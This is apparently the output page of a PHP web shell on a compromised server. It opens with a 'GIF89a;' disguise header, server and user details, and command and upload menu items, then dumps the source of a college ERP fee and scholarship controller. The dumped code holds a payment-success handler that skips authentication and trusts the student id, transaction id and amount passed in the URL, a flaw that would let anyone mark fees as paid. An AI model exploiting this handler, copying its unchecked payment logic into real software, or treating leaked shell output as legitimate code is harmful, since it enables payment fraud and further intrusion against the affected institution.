GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.12.148.180 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../admission/../cas/application/controllers/student/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Request Handler For Handling All Request Related To Fee In Student's Login * * @author Softpro India Pvt. Ltd. */ class Fee extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model("admin/FeeManagement"); $this->load->model("admin/ScholarshipManagement"); $this->load->model("admin/SessionManagement"); $this->load->model("admin/StudentManagement"); $this->load->library('util/Denominator'); } public function index() { if ($this->sessionvalidator->isStudentLoggedIn()) { $feeDetails = array(); $feeStructureInfo = $this->FeeManagement->getFeeStructureOfStudentBy($this->session->userdata("studentData")["stu_id"])->result(); if (sizeof($feeStructureInfo)) { for ($i = 0; $i < sizeof($feeStructureInfo); $i++) { $paidForThisStructure = $this->FeeManagement->getPaidFeeDetailsByStructure($this->session->userdata("studentData")["stu_id"], $feeStructureInfo[$i]->fssm_semester, $feeStructureInfo[$i]->fssm_id)->result(); $paidAmt = 0.0; $frm_id = "NA"; if (sizeof($paidForThisStructure)) { for ($j = 0; $j < sizeof($paidForThisStructure); $j++) { $paidAmt += $paidForThisStructure[$j]->fcm_amount; $frm_id = $paidForThisStructure[$j]->frm_id; } } array_push($feeDetails, array( 'fhm_name' => stripslashes($feeStructureInfo[$i]->fhm_name), 'fsm_semester' => $feeStructureInfo[$i]->fssm_semester, 'course_time_mgmt_flag' => $feeStructureInfo[$i]->course_time_mgmt_flag, 'fsm_amount' => $feeStructureInfo[$i]->fssm_amount, 'fcm_paid_amount' => $paidAmt, 'fcm_due_amount' => round(($feeStructureInfo[$i]->fssm_amount - $paidAmt), 2), 'frm_id' => $frm_id )); } } $viewData['feeInfo'] = $feeDetails; $this->load->view('student/fee/feeDetails', $viewData); } else { redirect("student/"); } } /* Request Handlers For Scholarship Modules & Related Stuffs */ public function scholarships() { if ($this->sessionvalidator->isStudentLoggedIn()) { $viewData['scholarships'] = $this->ScholarshipManagement->getAllScholarshipsBy($this->session->userdata("studentData")["stu_id"])->result(); $this->load->view('student/scholarship/scholarships', $viewData); } else { redirect("student/"); } } public function createScholarshipInfo() { if ($this->sessionvalidator->isStudentLoggedIn()) { $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('C', 'N'))->result(); $this->load->view('student/scholarship/createNewScholarshipInfo', $viewData); } else { redirect("student/"); } } public function saveNewScholarshipInfo() { if ($this->sessionvalidator->isStudentLoggedIn()) { $this->form_validation->set_rules('registration_no', 'Registration No.', 'trim|required', array('required' => 'Registration Number Can Not Be Blank.')); $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.')); $this->form_validation->set_rules('income_cert_no', 'Income Certificate No.', 'trim|required', array('required' => 'Income Certificate Number Can Not Be Blank.')); $this->form_validation->set_rules('income_cert_date', 'Income Certificate Issue Date', 'trim|required', array('required' => 'Income Certificate Issue Date Is Required.')); $this->form_validation->set_rules('caste_cert_no', 'Caste Certificate No.', 'trim|required', array('required' => 'Caste Certificate Number Can Not Be Blank.')); $this->form_validation->set_rules('caste_cert_date', 'Caste Certificate Issue Date', 'trim|required', array('required' => 'Caste Certificate Issue Date Is Required.')); $queryByRegistrationNo = $this->ScholarshipManagement->getScholarshipInfoBy(addslashes(trim($this->input->post('registration_no')))); $scholarshipInfoByName = $queryByRegistrationNo->result(); if ($this->form_validation->run() == FALSE) { $this->createScholarshipInfo(); } else if (empty($_FILES['appFormFile']['name'])) { $this->form_validation->set_rules('appFormFile', 'Application Form File', 'required', array('required' => 'Please Attach Application Form File.')); $this->form_validation->run(); $this->createScholarshipInfo(); } else if (sizeof($scholarshipInfoByName)) { $this->session->set_flashdata('errorMessage', "Please Recheck Registration No. Another Record With This Regisration Number (" . trim($this->input->post('registration_no')) . ") Already Exits."); $this->createScholarshipInfo(); } else { $applicationFileNameWithPath = ""; $configAppFile['upload_path'] = './assets/admin/uploads/studentData/scholarship/'; $configAppFile['allowed_types'] = 'pdf'; $configAppFile['max_size'] = '2048'; $configAppFile['file_ext_tolower'] = TRUE; $configAppFile['encrypt_name'] = TRUE; $this->load->library('upload', $configAppFile); if (!$this->upload->do_upload('appFormFile')) { $this->session->set_flashdata('errorMessage', "Application File Can Not Be Uploaded As It Do Not Match With Application File Criteria. File Size 2 MB Max. & Allowed Extension: Only *.pdf."); $this->createScholarshipInfo(); } else { $applicationFileNameWithPath = "/assets/admin/uploads/studentData/scholarship/" . $this->upload->data()['file_name']; $newScholarshipInfo = array( 'session_id' => trim($this->input->post('session')), 'ssm_reg_no' => addslashes(trim($this->input->post('registration_no'))), 'ssm_income_cert_no' => addslashes(trim($this->input->post('income_cert_no'))), 'ssm_income_cert_issued_on' => date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('income_cert_date')))), 'ssm_caste_cert_no' => addslashes(trim($this->input->post('caste_cert_no'))), 'ssm_caste_cert_issued_on' => date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('caste_cert_date')))), 'ssm_app_file' => $applicationFileNameWithPath, 'ssm_type' => addslashes(trim($this->input->post('sch_type'))), 'ssm_added_on' => date("Y-m-d H:i:s"), 'ssm_updated_on' => date("Y-m-d H:i:s"), 'tspi_id' => $this->session->userdata("studentData")["stu_id"] ); if ($this->ScholarshipManagement->createNewScholarshipEntry($newScholarshipInfo)) { $this->session->set_flashdata('successMessage', 'Scholarship Info Saved Successfully.'); redirect("student/Fee/scholarships/"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Saving Scholarship Info. Try Later.'); redirect(current_url()); } } } } else { redirect("student/"); } } public function editScholarshipInfo($ssm_id) { if ($this->sessionvalidator->isStudentLoggedIn()) { $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('C', 'N'))->result(); $viewData['scholarshipInfo'] = $this->ScholarshipManagement->getScholarshipInfoById($ssm_id)->result()[0]; $this->load->view('student/scholarship/editScholarshipInfo', $viewData); } else { redirect("student/"); } } public function updateScholarshipInfo() { if ($this->sessionvalidator->isStudentLoggedIn()) { $ssm_id = trim($this->input->post('ssm_id')); $this->form_validation->set_rules('registration_no', 'Registration No.', 'trim|required', array('required' => 'Registration Number Can Not Be Blank.')); $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.')); $this->form_validation->set_rules('income_cert_no', 'Income Certificate No.', 'trim|required', array('required' => 'Income Certificate Number Can Not Be Blank.')); $this->form_validation->set_rules('income_cert_date', 'Income Certificate Issue Date', 'trim|required', array('required' => 'Income Certificate Issue Date Is Required.')); $this->form_validation->set_rules('caste_cert_no', 'Caste Certificate No.', 'trim|required', array('required' => 'Caste Certificate Number Can Not Be Blank.')); $this->form_validation->set_rules('caste_cert_date', 'Caste Certificate Issue Date', 'trim|required', array('required' => 'Caste Certificate Issue Date Is Required.')); $scholarshipCurrentApplicationFileName = substr($this->input->post('ssm_app_file'), strripos($this->input->post('ssm_app_file'), "/") + 1); if ($this->form_validation->run() == FALSE) { $this->editScholarshipInfo($ssm_id); } else { if (!$this->ScholarshipManagement->isRegisrationNoSafeUpdate($ssm_id, addslashes(trim($this->input->post('registration_no'))))) { $this->session->set_flashdata('errorMessage', "Another Scholarship Info With This Registration Number(" . trim($this->input->post('registration_no')) . ") Already Exits. Please Recheck Registration Number."); $this->editScholarshipInfo($ssm_id); } else { if (!empty($_FILES['appFormFile']['name'])) { $applicationFileNameWithPath = ""; $configAppFile['upload_path'] = './assets/admin/uploads/studentData/scholarship/'; $configAppFile['allowed_types'] = 'pdf'; $configAppFile['max_size'] = '2048'; $configAppFile['file_ext_tolower'] = TRUE; $configAppFile['encrypt_name'] = TRUE; $this->load->library('upload', $configAppFile); $this->load->library('upload', $configAppFile); if (!$this->upload->do_upload('appFormFile')) { $this->session->set_flashdata('errorMessage', "Application File Can Not Be Uploaded As It Do Not Match With Application File Criteria. File Size 2 MB Max. & Allowed Extension: Only *.pdf."); $this->editScholarshipInfo($ssm_id); } else { $applicationFileNameWithPath = "/assets/admin/uploads/studentData/scholarship/" . $this->upload->data()['file_name']; $scholarshipUpdateData = array( 'ssm_id' => $ssm_id, 'session_id' => trim($this->input->post('session')), 'ssm_reg_no' => addslashes(trim($this->input->post('registration_no'))), 'ssm_income_cert_no' => addslashes(trim($this->input->post('income_cert_no'))), 'ssm_income_cert_issued_on' => date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('income_cert_date')))), 'ssm_caste_cert_no' => addslashes(trim($this->input->post('caste_cert_no'))), 'ssm_caste_cert_issued_on' => date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('caste_cert_date')))), 'ssm_app_file' => $applicationFileNameWithPath, 'ssm_type' => addslashes(trim($this->input->post('sch_type'))), 'ssm_added_on' => date("Y-m-d H:i:s"), 'ssm_updated_on' => date("Y-m-d H:i:s"), 'tspi_id' => $this->session->userdata("studentData")["stu_id"] ); if ($this->ScholarshipManagement->updateScholarshipInfo($scholarshipUpdateData)) { if (file_exists("./assets/admin/uploads/studentData/scholarship/" . $scholarshipCurrentApplicationFileName)) { unlink("./assets/admin/uploads/studentData/scholarship/" . $scholarshipCurrentApplicationFileName); } $this->session->set_flashdata('successMessage', 'Scholarship Info Updated Successfully.'); redirect("student/Fee/scholarships"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Scholarship Info. Try Later.'); redirect(current_url()); } } } else { $scholarshipUpdateData = array( 'ssm_id' => $ssm_id, 'session_id' => trim($this->input->post('session')), 'ssm_reg_no' => addslashes(trim($this->input->post('registration_no'))), 'ssm_income_cert_no' => addslashes(trim($this->input->post('income_cert_no'))), 'ssm_income_cert_issued_on' => date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('income_cert_date')))), 'ssm_caste_cert_no' => addslashes(trim($this->input->post('caste_cert_no'))), 'ssm_caste_cert_issued_on' => date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('caste_cert_date')))), 'ssm_type' => addslashes(trim($this->input->post('sch_type'))), 'ssm_updated_on' => date("Y-m-d H:i:s") ); if ($this->ScholarshipManagement->updateScholarshipInfo($scholarshipUpdateData)) { $this->session->set_flashdata('successMessage', 'Scholarship Info Updated Successfully.'); redirect("student/Fee/scholarships"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Scholarship Info. Try Later.'); redirect(current_url()); } } } } } else { redirect("student/"); } } public function deleteScholarship($ssm_id) { if ($this->sessionvalidator->isStudentLoggedIn()) { $scholarshipUpdateData = array( 'ssm_id' => $ssm_id, 'ssm_updated_on' => date("Y-m-d H:i:s"), 'ssm_delete_status' => 'T' ); if ($this->ScholarshipManagement->updateScholarshipInfo($scholarshipUpdateData)) { $this->session->set_flashdata('successMessage', 'Scholarship Info Deleted Successfully.'); redirect("student/Fee/scholarships"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Scholarship Info. Try Later.'); redirect(current_url()); } } else { redirect("student/"); } } /* Request Hanlders For Online Fee Payment, Payment Gateway Return URIs & Other Related Stuffs */ public function payFeeOnline() { if ($this->sessionvalidator->isStudentLoggedIn()) { $currentYearOrSem = ($this->session->userdata("studentData")["stu_current_semester"] == "NA") ? "1" : $this->session->userdata("studentData")["stu_current_semester"]; $paidFeeInfo = $this->FeeManagement->getPaidFeeDetailsBy($this->session->userdata("studentData")["stu_id"], $currentYearOrSem)->result(); if (!sizeof($paidFeeInfo)) { $feeStructureInfo = $this->FeeManagement->getFeeStructureOfStudentBy($this->session->userdata("studentData")["stu_id"], $currentYearOrSem)->result(); $viewData['payableFee'] = $feeStructureInfo; } else { $viewData['payableFee'] = array(); } $viewData['currentYearOrSem'] = $currentYearOrSem; $this->load->view('student/fee/payFee', $viewData); } else { redirect("student/"); } } /* * The following three functions namely: paymentSuccessful(), paymentFailed() & showReceipt() * has been skipped from session logged_in check intentionally. * The reason being they are the return URLs of the payment gateway and has been mentioned in the * exlude_uris in the config.php file.(showReceipt() is not part of return URL directly but it is being called internally by one the return URL.) */ public function paymentSuccessful($tspi_id, $txnId, $yearOrSemester, $totalAmount) { $studentInfo = $this->StudentManagement->getStudentPersonalInfoAndPhotoSignBy($tspi_id)->result()[0]; $feeModeInfo = $this->FeeManagement->getFeeModeInfoByName("ONLINE")->result(); $feeStructureInfo = $this->FeeManagement->getFeeStructureOfStudentBy($tspi_id, $yearOrSemester)->result(); /* Setting Paid Fee Amounts Against The Applicable Heads */ $collectionInfo = array(); for ($i = 0; $i < sizeof($feeStructureInfo); $i++) { array_push($collectionInfo, array( 'fcm_txn_id_ref_dd_ch_no' => $txnId, 'fcm_txn_id_ref_dd_ch_date' => date("Y-m-d"), 'fcm_bank_name' => addslashes("ONLINE PAYMENT"), 'fcm_semester' => $yearOrSemester, 'fcm_amount' => $feeStructureInfo[$i]->fssm_amount, 'session_id' => $studentInfo->session_id, 'fcm_entry_on' => date("Y-m-d H:i:s"), 'tspi_id' => $tspi_id, 'fssm_id' => $feeStructureInfo[$i]->fssm_id, 'fmm_id' => (sizeof($feeModeInfo)) ? $feeModeInfo[0]->fmm_id : 0, 'frm_id' => '' )); } /* Setting Paid Fee Amounts Against The Applicable Heads */ /* Handling Fee Receipt Info */ $newFeeReceiptInfo = array( 'frm_receipt_date' => date("Y-m-d"), 'frm_receipt_no' => '', 'frm_total_amount' => $totalAmount, 'frm_remarks' => "Paid by student from ERP login.", 'frm_title' => "Online Fee Receipt", 'frm_generated_on' => date("Y-m-d H:i:s"), 'frm_generated_by' => 0, 'frm_updated_on' => date("Y-m-d H:i:s"), 'frm_updated_by' => 0 ); $newStudentSectionSemesterAllotmentInfo = array(); $studentStatusUpdate = array(); $isFirstPayment = (($studentInfo->tcsm_course_type == "Regular") && ($yearOrSemester == 1)) ? TRUE : ((($studentInfo->tcsm_course_type == "Lateral") && ($yearOrSemester == 3)) ? TRUE : FALSE); if ($isFirstPayment) { $newStudentSectionSemesterAllotmentInfo = array( 'tsssi_section' => 'NA', 'tsssi_semester' => ($studentInfo->tcsm_course_type == "Regular") ? "1" : "3", 'tsssi_updated_on' => date("Y-m-d H:i:s"), 'tsssi_updated_by' => 0, 'tspi_id' => $tspi_id ); $studentStatusUpdate = array( 'tspi_id' => $tspi_id, 'tspi_status' => 'CE', 'tspi_updated_on' => date("Y-m-d H:i:s"), 'tspi_updated_by' => 0 ); } /* Handling Fee Receipt Info */ $this->db->trans_start(); $frm_id = $this->FeeManagement->createNewReceipt($newFeeReceiptInfo); $receiptNumber = "O/" . date('Ymd') . "/" . $frm_id; $updateReceiptInfo = array( 'frm_id' => $frm_id, 'frm_receipt_no' => $receiptNumber, ); $this->FeeManagement->updateFeeReceiptInfo($updateReceiptInfo); for ($j = 0; $j < sizeof($collectionInfo); $j++) { $collectionInfo[$j]['frm_id'] = $frm_id; } $this->FeeManagement->createFeeCollectionInfoMulti($collectionInfo); /* Handling Transaction Details For The Successful Transaction */ $transactionInfo = array( 'gateway_txnid' => $txnId, 'bank_ref_no' => "Fee Receipt=>" . $receiptNumber, 'regno' => $tspi_id, 'fee' => $totalAmount, 'tdate' => date("Y-m-d H:i:s"), 'status' => 'T', 'error_desc' => "SUCCESSFUL", 'tran_details' => "Year/Semester Fee", 'tran_dt' => date("Y-m-d"), 'sem' => $yearOrSemester, 'remark' => 'Paid by student from ERP login.' ); /* Handling Transaction Details For The Successful Transaction */ $this->FeeManagement->createNewTransaction($transactionInfo); /* Enrolling Student To Applicable First Year/Semester In Case Of Very First Payment */ if (sizeof($newStudentSectionSemesterAllotmentInfo)) { $this->StudentManagement->createNewStudentSectionSemesterInfo($newStudentSectionSemesterAllotmentInfo); } /* Enrolling Student To Applicable First Year/Semester In Case Of Very First Payment */ /* Setting The Status Of Student To 'Currently Enrolled' After First Successful Fee Payment */ if (sizeof($studentStatusUpdate)) { $this->StudentManagement->updateStudentPersonalInfo($studentStatusUpdate); } /* Setting The Status Of Student To 'Currently Enrolled' After First Successful Fee Payment */ $this->db->trans_complete(); redirect("student/Fee/showReceipt/" . $frm_id); } public function paymentFailed($tspi_id, $txnId, $yearOrSemester, $totalAmount) { /* Saving The Transaction Details For The Failed Transaction */ $transactionInfo = array( 'gateway_txnid' => $txnId, 'bank_ref_no' => "ONLINE (PayuPaisa)", 'regno' => $tspi_id, 'fee' => $totalAmount, 'tdate' => date("Y-m-d H:i:s"), 'status' => 'F', 'error_desc' => "FAILED", 'tran_details' => "Year/Semester Fee", 'tran_dt' => date("Y-m-d"), 'sem' => $yearOrSemester, 'remark' => 'Payment attempted by student from ERP-Student login.' ); $this->FeeManagement->createNewTransaction($transactionInfo); /* Saving The Transaction Details For The Failed Transaction */ $viewData['status'] = 0; $viewData['message'] = "Due To Some Error While Making Online Payment, Receipt Can Not Be Generated. Please Try Again Later."; $this->load->view("student/fee/paymentStatus", $viewData); } public function showReceipt($frm_id) { $fee_collection_details = array(); $receiptInfo = $this->FeeManagement->getFeeReceiptInfoById($frm_id)->result()[0]; $paidFeeInfo = $this->FeeManagement->getPaidFeeDetailsByReceipt($frm_id)->result(); $studentInfo = $this->StudentManagement->getStudentPersonalInfoAndPhotoSignBy($paidFeeInfo[0]->tspi_id)->result()[0]; $councellingFeeInfo = $this->FeeManagement->getPaidCouncellingFeeDetailsByStudent($studentInfo->tspi_id)->result(); $chqDDTxnNEFTRefNo = stripslashes($paidFeeInfo[0]->fcm_txn_id_ref_dd_ch_no); $chqDDTxnNEFTDate = date("d-m-Y", strtotime($paidFeeInfo[0]->fcm_txn_id_ref_dd_ch_date)); $totalPaid = $receiptInfo->frm_total_amount; $paymentMode = stripslashes($paidFeeInfo[0]->fmm_short_name); for ($rFee = 0; $rFee < sizeof($paidFeeInfo); $rFee++) { $feeStructureInfo = $this->FeeManagement->getFeeStructureDetailsOfStudentById($paidFeeInfo[$rFee]->fssm_id)->result()[0]; array_push($fee_collection_details, array( 'fee_head' => $feeStructureInfo->fhm_name, 'amount_paid' => "INR(<i class='fa fa-inr'></i>) " . $paidFeeInfo[$rFee]->fcm_amount . "/-", 'sem_or_year' => $paidFeeInfo[$rFee]->fcm_semester, 'is_part_payment' => ($paidFeeInfo[$rFee]->fcm_amount < $paidFeeInfo[$rFee]->fssm_amount) ? "(Partial Payment)" : "" )); } $receiptData = array( 'receipt_title' => stripslashes($receiptInfo->frm_title), 'receipt_number' => stripslashes($receiptInfo->frm_receipt_no), 'receipt_date' => date("d-m-Y", strtotime($receiptInfo->frm_receipt_date)), 'fee_details' => $fee_collection_details, 'student_details' => $studentInfo, 'fee_mode' => $paymentMode, 'chqDDTxnNEFTRefNo' => $chqDDTxnNEFTRefNo, 'chqDDTxnNEFTDate' => (!strcasecmp($paymentMode, "cash")) ? "NA" : $chqDDTxnNEFTDate, 'total_paid' => $totalPaid, 'total_paid_in_words' => $this->denominator->convertToWords($totalPaid), 'councelling_fee' => $councellingFeeInfo, 'councelling_amount' => (sizeof($councellingFeeInfo)) ? $councellingFeeInfo[0]->fcnm_amount : "-", 'councelling_fee_mode' => (sizeof($councellingFeeInfo)) ? stripslashes($councellingFeeInfo[0]->fmm_short_name) : "-", 'councelling_fee_ref_no' => (sizeof($councellingFeeInfo)) ? stripslashes($councellingFeeInfo[0]->fcnm_ref_no) : "-", 'councelling_fee_date' => (sizeof($councellingFeeInfo)) ? date("d-m-Y", strtotime($councellingFeeInfo[0]->fcnm_date)) : "-", 'collection_info' => $fee_collection_details, 'is_old_fee' => FALSE, 'is_cancelled' => FALSE, 'status' => 1 ); $this->load->view("student/fee/paymentStatus", $receiptData); } }